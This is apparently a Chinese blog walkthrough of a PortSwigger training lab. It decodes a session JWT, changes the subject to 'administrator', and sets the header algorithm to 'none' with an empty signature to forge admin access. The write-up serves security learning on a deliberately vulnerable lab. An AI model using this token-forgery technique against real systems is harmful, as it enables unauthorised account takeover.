学徒-绕过JWT身份验证-接受没有签名的令牌
# 实验室:通过有缺陷的签名验证绕过JWT身份验证
# 题目
此实验室使用基于 JWT 的机制来处理会话。服务器被不安全地配置,可以接受无签名的 JWTs。
若要解决实验室问题,请修改你的会话令牌,访问位于/admin
的管理面板并删除carlos
用户。
你可以使用以下凭据登录到自己的帐户:wiener
:peter
。
提示
在尝试此实验之前,我们建议你先熟悉一下如何在 BurpSuite 中使用 JWTs (opens new window)。
- name: 实验室-学徒
desc: 通过有缺陷的签名验证绕过JWT身份验证 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification
bgColor: '#001350'
textColor: '#39d50c'
1
2
3
4
5
6
2
3
4
5
6
# 实操
(目前只有图,文字后面有时间补)
点击 “ACCESS THE LAB” 进入实验室。
# 解码原始令牌
eyJraWQiOiI0MGMwYmZmMy04NTNhLTRhNTEtOTZhNS03NjA4NTFhZTMzZDIiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcwODE2MzY5Niwic3ViIjoid2llbmVyIn0.VDzHjzVutYo62hM_R1wITC1KX-AcVXDEucsDk_NjHDyXhV-fsN7x7aqkrFFfFb-JgCH7Pgu3Ig0b9RUbp-Ca1Hb3TV9NegjNUgCoVAI1GcjplJ2vp8ZuBnQO8VTFqQodUcwukS97wNv5phQ41foKwt1no21Glbj0c-ZZoidYreFZkhk2rt03NcQhZS3k13Pzth8GhidoGarWCb28cfWnKTpK4yK32nzYyVg_tLsQsb7zSH1RobQuTGmUMI6Q9ChzdY04kH8_bV3K8H56DK11s4It8Kv2cSqysvSV9ZImNyMGwnPdaR2m1iAITUTSTAF5aO0rMaCXQl6QIiaKlADm9w
1
{"kid":"40c0bff3-853a-4a51-96a5-760851ae33d2","alg":"RS256"}
{"iss":"portswigger","exp":1708163696,"sub":"wiener"}
// 签名:<原始签名>
1
2
3
4
5
2
3
4
5
# 信息修改测试
{"kid":"40c0bff3-853a-4a51-96a5-760851ae33d2","alg":"RS256"}
{"iss":"portswigger","exp":1708163696,"sub":"administrator"}
// 签名:<原始签名>
1
2
3
4
5
2
3
4
5
# 标头修改-空签名
{"kid":"40c0bff3-853a-4a51-96a5-760851ae33d2","alg":"none"}
{"iss":"portswigger","exp":1708163696,"sub":"administrator"}
// 签名:空
1
2
3
4
5
2
3
4
5
编辑 (opens new window)